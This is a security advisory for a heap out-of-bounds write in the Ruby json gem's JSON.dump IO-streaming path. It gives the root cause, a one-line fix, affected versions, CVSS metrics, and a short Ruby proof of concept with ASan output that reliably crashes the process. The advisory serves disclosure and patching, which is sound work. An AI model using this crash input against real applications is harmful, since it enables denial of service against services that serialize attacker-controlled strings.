CVE-2026-54696
ADVISORY - githubSummary
Summary
JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the
internal JSON generator buffer when a streamed object contains an
attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write
in the IO-streaming path and is demonstrated as a reliable process crash /
denial of service.
This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here.
Details
Root cause is in ext/json/fbuffer/fbuffer.h, fbuffer_do_inc_capa().
On the IO path, the buffer is grown to FBUFFER_IO_BUFFER_SIZE (16383), but the
early return checks total capacity instead of remaining capacity:
if (RB_UNLIKELY(fb->io)) {
if (fb->capa < FBUFFER_IO_BUFFER_SIZE) {
fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);
} else {
fbuffer_flush(fb);
}
if (RB_LIKELY(requested < fb->capa)) {
return;
}
}
If fb->len already contains JSON syntax bytes, and a string flush has
16383 - fb->len <= requested < 16383, this check returns even though there is
not enough space left. fbuffer_append_reserved() then writes past the buffer:
MEMCPY(fb->ptr + fb->len, newstr, char, len);
The minimal fix is to compare against the remaining capacity:
- if (RB_LIKELY(requested < fb->capa)) {
+ if (RB_LIKELY(requested <= fb->capa - fb->len)) {
return;
}
PoC
require "json"
require "stringio"
io = StringIO.new
big = "a" * 16385
big[16382] = '"' # escapable byte near the buffer boundary
JSON.dump([big], io)
Verified results:
Ruby 4.0.5 / bundled json 2.18.0:
malloc(): invalid size (unsorted)
.../json/common.rb:956: [BUG] Aborted
ruby/ruby master c78418b7a0 / json 2.19.8 / ASan:
heap-buffer-overflow WRITE of size 16382
fbuffer_append_reserved ext/json/fbuffer/fbuffer.h:145
search_flush ext/json/generator/generator.c:139
convert_UTF8_to_JSON ext/json/generator/generator.c:231
raw_generate_json_string ext/json/generator/generator.c:922
cState_m_generate ext/json/generator/generator.c:1891
Control: the same data through JSON.dump([big]) without an IO argument returns
normally. The bug is specific to the IO-streaming path.
Impact
A remote attacker can trigger a heap out-of-bounds write if they control a
string field that an application serializes through JSON.dump(obj, io) or
JSON::State#generate(obj, io). The demonstrated impact is reliable denial of
service. I am not claiming code execution or information disclosure.
Common Weakness Enumeration (CWE)
GitHub
CVSS SCORE
3.7low| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| json | gem | - | - | >=2.9.0,<2.19.9 | 2.19.9 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is no loss of confidentiality.
There is no loss of trust or accuracy within the impacted component.
Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.
Debian
-
CVSS SCORE
N/AlowUbuntu
-